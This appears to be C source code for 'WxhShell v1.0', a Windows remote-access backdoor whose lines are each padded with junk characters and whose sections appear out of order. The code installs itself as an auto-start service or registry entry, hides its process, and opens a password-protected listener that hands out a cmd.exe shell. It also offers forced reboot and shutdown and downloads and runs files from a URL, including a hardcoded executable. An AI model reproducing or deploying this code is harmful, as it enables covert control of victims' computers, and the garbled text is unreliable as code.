    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >K|<hzZ  
    if(Boot(SHUTDOWN)) &hTe-Es  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O!uZykdX4!  
    else { MK"p~b0->  
    closesocket(wsh); MHl ffj  
    ExitThread(0); DC9\Sp?  
    } r#8t @W  
    break; }> q%##<n  
    } XH^X4W  
  // 获取shell ^("23mhfJ  
  case 's': { ;k W+  
    CmdShell(wsh); w'[^RZW:j  
    closesocket(wsh); $N !l-lu=  
    ExitThread(0); wSy|h*a,  
    break; s5`CV$bz  
  } BM~>=emc  
  // 退出 Q7 4Q|r7  
  case 'x': { pr;n~E 'kq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 71S~*"O0f  
    CloseIt(wsh); xE$>;30b_  
    break; cDkq@H:   
    } `_MRf[Z}  
  // 离开 !6` pq  
  case 'q': { Q1Jw7R#?l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z=[qaJ{]  
    closesocket(wsh); pB;U*lt  
    WSACleanup(); b0(bL_,  
    exit(1); Kia34 ~W  
    break; =c-Y >  
        } >'eY/>n{  
  } c"wk_ #  
  } %%-?~rjI  
MD4RSl<F  
  // 提示信息 [=EmDP:@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YcRo>:I  
} TPBL|^3K  
  } |8{c|Qz  
'DhH:PR  
  return; kndN} Vq  
} >s%&t[r6  
uo TTHj7cq  
// shell模块句柄 Md*~hb8J  
int CmdShell(SOCKET sock) VYo2m  
{ \yE*nZ  
STARTUPINFO si; r\j*?m ]  
ZeroMemory(&si,sizeof(si)); BJDSk#!J!{  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2lu AF2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nOm-Yb+F  
PROCESS_INFORMATION ProcessInfo; pba`FC4R  
char cmdline[]="cmd"; v =]!Po&Q-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #dj,=^1_14  
  return 0; 1sIPhOIys  
} N<N uBtkA  
/>X"' G  
// 自身启动模式 Z.%0yS_T  
int StartFromService(void) -+HD5Hc  
{ lD-HQd  
typedef struct @Rw]boC  
{ 0s72BcP  
  DWORD ExitStatus; (7 O?NS  
  DWORD PebBaseAddress; 6 k6}SlN[  
  DWORD AffinityMask; 4(%LG)a4S  
  DWORD BasePriority; &~&oB;uR  
  ULONG UniqueProcessId; \sEH)$R'  
  ULONG InheritedFromUniqueProcessId; Koi-b  
}   PROCESS_BASIC_INFORMATION; PLueH/gC.  
i `7(5L~`  
PROCNTQSIP NtQueryInformationProcess; d "%6S*dL  
Yl`)%6'5|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |@Ze{\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #/ HQ?3h]  
>|rU*+I`  
  HANDLE             hProcess; `9& ~fWu  
  PROCESS_BASIC_INFORMATION pbi; >*h3u7t  
W690N&Wz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); aflBDo1c  
  if(NULL == hInst ) return 0; Oq[YbQ'GE  
+lhnc{;WJv  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \qkb8H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PlRcrT"#w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ya29t 98Pk  
hH~GH'dnaE  
  if (!NtQueryInformationProcess) return 0; -J;;6aA  
BV)) #D9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); .W51Cup@&  
  if(!hProcess) return 0; +QA|]Y~!  
#]*]qdQWV^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H+5S )r  
6 2LLfD  
  CloseHandle(hProcess); u+m9DNPF  
T-y5U},  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B) BR y%  
if(hProcess==NULL) return 0; '3iJq9  
@e2P3K gg  
HMODULE hMod; ]Q -.Y-J/O  
char procName[255]; `RyH~4\;  
unsigned long cbNeeded;  tPChVnB  
iZE7 B7K  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OWZ;X}x  
^+O97<#6C  
  CloseHandle(hProcess); XBm ^7'  
;umbld0  
if(strstr(procName,"services")) return 1; // 以服务启动 NEt_UcC  
*})Np0k  
  return 0; // 注册表启动 0QY9vuhL<  
} "4L_BJZ  
FKy2C:R(]  
// 主模块 J~}i}|YC>  
int StartWxhshell(LPSTR lpCmdLine) km29]V=}  
{ 3 (F+\4aRm  
  SOCKET wsl; 7!JBF{,=  
BOOL val=TRUE; #:=*n(GT  
  int port=0; h]WW?.   
  struct sockaddr_in door; hR,5U=+M7  
u@T,8  
  if(wscfg.ws_autoins) Install(); .$xTX'  
w|:ev_c|  
port=atoi(lpCmdLine); %:8XZf  
}CvhLjo  
if(port<=0) port=wscfg.ws_port; OBf$0  
S"%W^)mZ  
  WSADATA data; ztC>*SX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :Fi$-g  
^-,@D+eW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W];l[D<S*  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Wb;D9Z  
  door.sin_family = AF_INET; 9-E dT4=r,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); V eLGxc  
  door.sin_port = htons(port); <%m$ V5h  
is`~C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m{by%  
closesocket(wsl); *rmM2{6  
return 1; i}v3MO\X  
} R/kF,}^F  
\Z_29L w=  
  if(listen(wsl,2) == INVALID_SOCKET) { !BN@cc[%  
closesocket(wsl); Q@/Z~xw"'I  
return 1; |)%;B%  
} Zn6u6<O=  
  Wxhshell(wsl); c>BDw<  
  WSACleanup(); MGsY3~!K  
Sw`+4 4  
return 0; 0lS=-am  
%jxeh.B3B  
} "f>`ZFp^  
4M P8t@z  
// 以NT服务方式启动 .DHQJ|J-1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `W2 o~r*&  
{ _c,{}sn  
DWORD   status = 0; =a(]@8$!1  
  DWORD   specificError = 0xfffffff; Rln% Y  
af|x(:!H  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3y yVI#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [m(n-Mu F  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m=V69 a#  
  serviceStatus.dwWin32ExitCode     = 0; hSG1f`  
  serviceStatus.dwServiceSpecificExitCode = 0; o`{^ptu1q  
  serviceStatus.dwCheckPoint       = 0; _J>!K'Dz  
  serviceStatus.dwWaitHint       = 0; fiW2m=h_  
8j}o\!H  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^IO\J{U{"x  
  if (hServiceStatusHandle==0) return; FA1h!Vit  
*`V r P  
status = GetLastError(); U$LI~XZM  
  if (status!=NO_ERROR) {gI%-  
{ 8@7leAq!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -?vVV@W-O^  
    serviceStatus.dwCheckPoint       = 0; :]9CdkaU  
    serviceStatus.dwWaitHint       = 0; GB}!7W"  
    serviceStatus.dwWin32ExitCode     = status; rA A?{(!9x  
    serviceStatus.dwServiceSpecificExitCode = specificError; k<y~n*{_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `+@r0:G&v  
    return; QI`&N(n  
  } .@ @&q4= &  
VM w[M^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r:H.VAD  
  serviceStatus.dwCheckPoint       = 0; K9) |b`E=  
  serviceStatus.dwWaitHint       = 0; s,-}}6WO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  Vsd4;  
} :"`1}Q  
U _~r0  
// 处理NT服务事件,比如:启动、停止 yZ,S$tSR  
VOID WINAPI NTServiceHandler(DWORD fdwControl) *kt%.wPJ  
{ _C@<*L=Q  
switch(fdwControl) lKV7IoJ&;  
{ rN`-ak  
case SERVICE_CONTROL_STOP: <%S[6*6U  
  serviceStatus.dwWin32ExitCode = 0; ;$FMOMR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M4E==  
  serviceStatus.dwCheckPoint   = 0; lhB;jE  
  serviceStatus.dwWaitHint     = 0; Nzl`mx16  
  { :.SwO<j  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6o~g3{Ow  
  } dm"|\7  
  return; }U qL2KXi4  
case SERVICE_CONTROL_PAUSE: Su*Pd;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5E}!TL$  
  break; )npvy>C'(  
case SERVICE_CONTROL_CONTINUE: 9XX:_9|I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; a#m T@l\  
  break;  ,<U  
case SERVICE_CONTROL_INTERROGATE: ai;-_M+$  
  break; nk2H^RM^  
}; .cs4AWml<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l|fb;Giq=D  
} P>_ r6C  
oPrK{flm  
// 标准应用程序主函数 z 9~|Su  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hlFvm$P`M  
{ MsP`w3b  
+7j7zpw  
// 获取操作系统版本 `}~NZ  
OsIsNt=GetOsVer(); {emym$we  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Sb?HRoe_  
Je=k.pO1  
  // 从命令行安装 ;:8SN&).  
  if(strpbrk(lpCmdLine,"iI")) Install(); `\Te,  
|yi#6!}^  
  // 下载执行文件 3Cg0^~?6-  
if(wscfg.ws_downexe) { VIuzBmR|\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bjql<x5d  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z!I#Z2X  
} i(0%cNP7  
MR.c?P?0Q  
if(!OsIsNt) { w %R=kY)o  
// 如果时win9x,隐藏进程并且设置为注册表启动 B0m2SUC,H  
HideProc(); !%>(O@~"|  
StartWxhshell(lpCmdLine); C@rIyBj1g  
} >44,Dp]  
else d1u6*&@lf  
  if(StartFromService()) Bu7aeBP  
  // 以服务方式启动 =o_zsDv  
  StartServiceCtrlDispatcher(DispatchTable); uex([;y  
else jGtu>|Gj  
  // 普通方式启动 &'W ~~ir  
  StartWxhshell(lpCmdLine); \'>d.'d  
\  6 : 7  
return 0; )KUEkslR:  
} Tr "Bz!  
8P*wt'Q$  
2 t:CK  
KdLj1T  
=========================================== Frum@n  
{hBnEj^@  
j&Y{ CFuZ  
xGt>X77  
*&$2us0%%  
[*^ rH:  
" Sj@VOW  
WU{9lL=  
#include <stdio.h> )X 'ln  
#include <string.h> X?n($z/ {  
#include <windows.h> q;9OqArq  
#include <winsock2.h> `f\+aD'u  
#include <winsvc.h> r<EwtO+x  
#include <urlmon.h> d%Nx/DS)  
8eD/9PD=F  
#pragma comment (lib, "Ws2_32.lib") ;6{{hc4  
#pragma comment (lib, "urlmon.lib") <& iLMb:%  
t^8|t(Lq  
#define MAX_USER   100 // 最大客户端连接数 /H :Bu  
#define BUF_SOCK   200 // sock buffer RwDXOdgu  
#define KEY_BUFF   255 // 输入 buffer o~ReeZ7)Zg  
gCv[AIE_m  
#define REBOOT     0   // 重启 7x)32f"  
#define SHUTDOWN   1   // 关机 .'=-@W*  
 @zSj&4  
#define DEF_PORT   5000 // 监听端口 lCJ/@)  
vfOG(EkG.?  
#define REG_LEN     16   // 注册表键长度 8QN/D\uq  
#define SVC_LEN     80   // NT服务名长度 DXx),?s>  
`{'h+v`  
// 从dll定义API 8o[+>W  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); c{wob%!>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RgLkAHA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1owe'7\J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %p tw=Ju  
f(.t0{Etq  
// wxhshell配置信息 <gx"p#JbZ  
struct WSCFG { Lr<?eWdCwJ  
  int ws_port;         // 监听端口 G[\3)@I  
  char ws_passstr[REG_LEN]; // 口令 yvV]|B@sO  
  int ws_autoins;       // 安装标记, 1=yes 0=no )/uCdSDIc  
  char ws_regname[REG_LEN]; // 注册表键名  4B'-tV  
  char ws_svcname[REG_LEN]; // 服务名 f^ 6da6Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 bh UghHT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^1`T_+#[s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7:X@lmBz=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no m9Hdg^L  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P*9L3R*=N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 y\}<N6  
H263<^   
}; 0j2M< W#  
UjH+BC+9`b  
// default Wxhshell configuration l8By2{pN  
struct WSCFG wscfg={DEF_PORT, f<P>IE  
    "xuhuanlingzhe", BH^8!7dkT  
    1, CUa`#  
    "Wxhshell", _43 :1!os  
    "Wxhshell", <PXnR\  
            "WxhShell Service", =\)qUs\z  
    "Wrsky Windows CmdShell Service", $/;<~Pzi  
    "Please Input Your Password: ", {b90c'8?a  
  1, Ub<^;Du5  
  "http://www.wrsky.com/wxhshell.exe", L_ 2R3 w  
  "Wxhshell.exe" h!~u^Z.7<  
    }; VU(#5X%Pn  
oSB0P  
// 消息定义模块 * AjJf)o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4@*`V  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9$e6?<`(Y  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; * 2s(TW  
char *msg_ws_ext="\n\rExit."; XyE%<]  
char *msg_ws_end="\n\rQuit."; WU<C7   
char *msg_ws_boot="\n\rReboot..."; qlIbnyP<  
char *msg_ws_poff="\n\rShutdown..."; 7="I;  
char *msg_ws_down="\n\rSave to "; :gacP?  
\A/??8cgXs  
char *msg_ws_err="\n\rErr!"; Z<n%~z^  
char *msg_ws_ok="\n\rOK!"; Hp?uYih0  
O5?3 nYHa  
char ExeFile[MAX_PATH]; c;1Xu1  
int nUser = 0; SoJ'y6  
HANDLE handles[MAX_USER]; )6,Pmq~)  
int OsIsNt; T^n0=|  
?^W`7HF%0  
SERVICE_STATUS       serviceStatus; coFQu ; i  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e-/+e64Q@  
S#l6=zI7^R  
// 函数声明 ?q+^U>wy&  
int Install(void); ^Q""N<  
int Uninstall(void); ]0&ExD\4  
int DownloadFile(char *sURL, SOCKET wsh); + c"$-Jr  
int Boot(int flag); &Eqa y'  
void HideProc(void); Af{K#R8!  
int GetOsVer(void); CPS1b  
int Wxhshell(SOCKET wsl); b\H !\A  
void TalkWithClient(void *cs); !JC!GS"M5  
int CmdShell(SOCKET sock); 5/"&C-t  
int StartFromService(void); +axpIjI'  
int StartWxhshell(LPSTR lpCmdLine); /QK H30E  
CH3bpZv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %V3xO%  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '}eA2Q>BV  
L:3  
// 数据结构和表定义 M<"H1>q@  
SERVICE_TABLE_ENTRY DispatchTable[] = 4x%R4tk  
{ p swEIa  
{wscfg.ws_svcname, NTServiceMain}, bEc @"^)  
{NULL, NULL} YoEL|r|  
}; 8F*"z^vD=  
:k*3?*'K  
// 自我安装 ,Xt!dT-  
int Install(void) b`Agb <x"  
{ `tb@x ^  
  char svExeFile[MAX_PATH]; 9?~K"+-SI  
  HKEY key; a="\?L5  
  strcpy(svExeFile,ExeFile); @+`">a8} ,  
loPBHoE3@H  
// 如果是win9x系统,修改注册表设为自启动 ij/5m-{6)  
if(!OsIsNt) { :0)nL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hg}@2n)/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); | N/Wu9w$  
  RegCloseKey(key); 5o dtYI%L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { jLLZZPBK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +,BJ4``*k  
  RegCloseKey(key); [C TR8  
  return 0; OG&X7>'3I{  
    } A_vf3 *q  
  } HECZZnM  
} -P5M(Rt  
else { 4H\+vJPM  
~wdKO7fs  
// 如果是NT以上系统,安装为系统服务 Q[M?LNE`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PN&;3z Z  
if (schSCManager!=0) 9WH  
{ Ea7LPHE#  
  SC_HANDLE schService = CreateService ~dO&e=6Hk  
  ( 4}\Dr %US  
  schSCManager, %!;6h^@  
  wscfg.ws_svcname, sb7~sa&-  
  wscfg.ws_svcdisp, \?X'U:  
  SERVICE_ALL_ACCESS,  h'_@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , HAi'0%"  
  SERVICE_AUTO_START, l$s8O0-'T  
  SERVICE_ERROR_NORMAL, WF.y"{6>  
  svExeFile, 34$qV{Y%y  
  NULL, N){/#3  
  NULL, ]5=C3Y  
  NULL, \D]H>i$  
  NULL, B[I a8t  
  NULL =n}+p>\s  
  ); pM^r8kIH  
  if (schService!=0) Cy~Pfty  
  { 6tBh`nYB=  
  CloseServiceHandle(schService); qrj:H4#VB  
  CloseServiceHandle(schSCManager); C6XZZ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 'z=QV{ni  
  strcat(svExeFile,wscfg.ws_svcname); hu G]kv3F:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5V^+;eO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4l6+8/Y  
  RegCloseKey(key); j/FFxlFNL  
  return 0; 3%JPJuNVw  
    } NG2@.hP:uU  
  } Hz&.]yts2J  
  CloseServiceHandle(schSCManager); &mM[q 'V  
} l9%oKJ;  
} 42Gv]X  
Xiyh3/%yy  
return 1; W+'|zhn  
} #_, l7q8U  
AvN\^ &G  
// 自我卸载 q0oNRAvn"  
int Uninstall(void) )T=cd   
{ 5jpb`Axj#  
  HKEY key; %Q}T9%Mtj  
k_2W*2'S  
if(!OsIsNt) { @"6dq;"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g]=w_  
  RegDeleteValue(key,wscfg.ws_regname); gZFtV  
  RegCloseKey(key); Uv(THxVh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qw!_/Z3[  
  RegDeleteValue(key,wscfg.ws_regname); Sc<%$ Gd  
  RegCloseKey(key); 6%K,3R-d  
  return 0; \&&jzU2  
  } ]yxRaW9f  
} )1KlcF  
} m#E%, rT  
else { e7j3 0Iy  
vKzq7E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); D3^Yc:[_@  
if (schSCManager!=0) qc*z`Wz:  
{ >k6RmN  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t\hvhcbL  
  if (schService!=0) }*2q7K2bj  
  { _?M71>3$.  
  if(DeleteService(schService)!=0) { lbw*T  
  CloseServiceHandle(schService); *Ge2P3  
  CloseServiceHandle(schSCManager); k+au42:r  
  return 0; 1!@KRV  
  } *}Al0\q0M  
  CloseServiceHandle(schService); O\64)V 0  
  } .c[v /SB]  
  CloseServiceHandle(schSCManager); z@lUaMm:F  
} Z|YiYQl[)  
} }";\8  
qwlIz/j  
return 1; a *n^(  
} Yg5m=Lis  
2=3pV!)4}  
// 从指定url下载文件 *&b~cyC  
int DownloadFile(char *sURL, SOCKET wsh) ;%r#p v~  
{ Rc2|o.'y  
  HRESULT hr; >&0)d7Nu8m  
char seps[]= "/"; w<?v78sT  
char *token; [p%@ pV  
char *file; 6vVx>hFJ47  
char myURL[MAX_PATH]; bgW=.s  
char myFILE[MAX_PATH]; $V$|"KRcs  
c;w%R8z  
strcpy(myURL,sURL); u:+wuyu  
  token=strtok(myURL,seps); #P,mZ}G\  
  while(token!=NULL) 4}:a"1P"  
  { nu {bEp  
    file=token; Sb=cWn P  
  token=strtok(NULL,seps); $`:/O A<.  
  } &8R%W"<K  
|];s[^$#  
GetCurrentDirectory(MAX_PATH,myFILE); zbt>5S_  
strcat(myFILE, "\\"); gn&jNuGg  
strcat(myFILE, file); Dp 0   
  send(wsh,myFILE,strlen(myFILE),0); OO.. Y  
send(wsh,"...",3,0); 9QaEUy*,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3%Jg' Tr+  
  if(hr==S_OK) ^ q]BCOfJ(  
return 0; ,5jE9  
else V\8vJ3.YV  
return 1; ar.w'z  
k;v2 3  
} e-;$Iv  
[\NyBc  
// 系统电源模块 g2b %.X4  
int Boot(int flag) pqPhtWi%PJ  
{ hETTD%  
  HANDLE hToken; k~WX6rEJ  
  TOKEN_PRIVILEGES tkp; mA:NAV $!s  
tp2CMJc{L  
  if(OsIsNt) { p:u?a,p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o0Qy?14T-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *V(TNLIh;  
    tkp.PrivilegeCount = 1; :_YpS w<Q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; YC\~PVG  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $FEG0&  
if(flag==REBOOT) { 4CO:*qG)o  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1P&XG@  
  return 0; \;x+KD  
} HqXaT6#/  
else { }0c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;wCp j9hir  
  return 0; =BpX;n <  
} ou6|;*>d  
  } jJ-j   
  else { Hs<vCL \  
if(flag==REBOOT) { CN0&uyu#4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \M M(w&  
  return 0; :%qJAjR&  
} `-S6g^Y  
else { Kl~jcq&z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }~$zdgMT  
  return 0; f,z_|e  
} <\@JbL*  
} I0oM\~#  
b 8v?@s~  
return 1; RP&H9>  
} GYYk3\r  
g&;:[&% T]  
// win9x进程隐藏模块 E`.dU<8HE  
void HideProc(void) .x7d!t:(D  
{ nE)?P*$3Z  
;,n{6`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YuXq   
  if ( hKernel != NULL ) W>0 36  
  { ::N'tcZ^2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5F$ elW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \'6hv>W@  
    FreeLibrary(hKernel); ($&i\e31N  
  } mu0ER 3o  
hkeOe  
return; B'B,,Mz  
} HkFoyy  
]cLO-A  
// 获取操作系统版本 8@ck" LUzD  
int GetOsVer(void) ax&,  
{ GB Ia Ul  
  OSVERSIONINFO winfo; , }O>,AU  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w=I8f}(  
  GetVersionEx(&winfo); x\!Q[  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w N9I )hB  
  return 1; q-O=Em<*  
  else Va>~7  
  return 0; u{maE ,  
} &wr0HrE\  
^6`"f  
// 客户端句柄模块 I|]~f[xI  
int Wxhshell(SOCKET wsl) 'v iF8?_  
{ rkh+$*t@i7  
  SOCKET wsh; nE#p Ry]  
  struct sockaddr_in client; -R@mnG 5  
  DWORD myID; 8?AFvua}r  
S*<+vIo  
  while(nUser<MAX_USER)  Svj%O(  
{ dBkw.VO W  
  int nSize=sizeof(client); fvg jqiT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5SKj% %B2,  
  if(wsh==INVALID_SOCKET) return 1; ," ~ew ,  
,,vl+Z <&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~p^&` FA  
if(handles[nUser]==0) o8c4h<,  
  closesocket(wsh); d[(KgX9  
else 3:1 h:Yc<  
  nUser++; gSS2)Sd}  
  } 7xidBVx  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^6tGj+D9  
ew8f7S[  
  return 0; nS'hdeoW  
} ]p C/6'  
LRl2@&z<  
// 关闭 socket eCHT) 35u  
void CloseIt(SOCKET wsh)  uaN0X"  
{ V*HkF T  
closesocket(wsh); d*;wHA,}F  
nUser--; k4Ed7T-  
ExitThread(0); i Qs7L y"  
} AB92R/  
";\na!MT  
// 客户端请求句柄 ha_&U@w  
void TalkWithClient(void *cs) Kppi N+||  
{ /~RY{ c@#L  
{T EF#iF  
  SOCKET wsh=(SOCKET)cs; ^]_[dqd  
  char pwd[SVC_LEN]; t@dv$W2 "  
  char cmd[KEY_BUFF]; $e>(M&9,  
char chr[1]; z2:^Qg  
int i,j; A"Q6GM2;Io  
V?x&.C2Z  
  while (nUser < MAX_USER) { Qf0]7  
BWRM gN'.  
if(wscfg.ws_passstr) { AG ?cI@',  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j?a^fcXB  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -DWyKR= j"  
  //ZeroMemory(pwd,KEY_BUFF); 53>y<  
      i=0; XNODDH   
  while(i<SVC_LEN) { 1nHQ)od  
h0i/ v  
  // 设置超时 )bCw~'h*  
  fd_set FdRead; 3.[ fTrzJ  
  struct timeval TimeOut; |ipL.<v7  
  FD_ZERO(&FdRead); BCy# Td  
  FD_SET(wsh,&FdRead); glk-: #  
  TimeOut.tv_sec=8; fGK=lT$  
  TimeOut.tv_usec=0; C%#%_ "N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,mkXUW  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %9 kOl  
TV&:`kH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QYl Pr&O9  
  pwd=chr[0]; uO=yQ&  
  if(chr[0]==0xd || chr[0]==0xa) { ST'eJ5P7!5  
  pwd=0; {w/{)B nPG  
  break; K+2sq+ 3q  
  } ] yg3|C;  
  i++;  3W& f^*  
    } ,gag_o{*a  
e u{  
  // 如果是非法用户,关闭 socket . #+N?D<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }K<% h  
} S}mZU!  
~f:y^`+Q[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Q:nBx[%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }02#[vg  
idG}p+(;  
while(1) { 45?aV@  
}MW7,F  
  ZeroMemory(cmd,KEY_BUFF); 8:D|[u;iG  
"`va_Mk  
      // 自动支持客户端 telnet标准   <in#_Of {E  
  j=0; >0^oC[ B  
  while(j<KEY_BUFF) { )iKV"jsC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IF>dsAAI<  
  cmd[j]=chr[0]; Ll2yJ .C4  
  if(chr[0]==0xa || chr[0]==0xd) { jUtFDw  
  cmd[j]=0; utH/E7^8  
  break; dq6|m }g{  
  } pgp@Zw)r)k  
  j++; G@.TE7a2Z  
    } f*(W%#*|  
d9qA\ [  
  // 下载文件 PN(P$6  
  if(strstr(cmd,"http://")) { Xyz w.%4c  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v@qU<\Y>  
  if(DownloadFile(cmd,wsh)) ~4T:v _Q7g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tgf\f%,h  
  else jPDk~|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); fN|'aq*Pd  
  } 9/yE\p .  
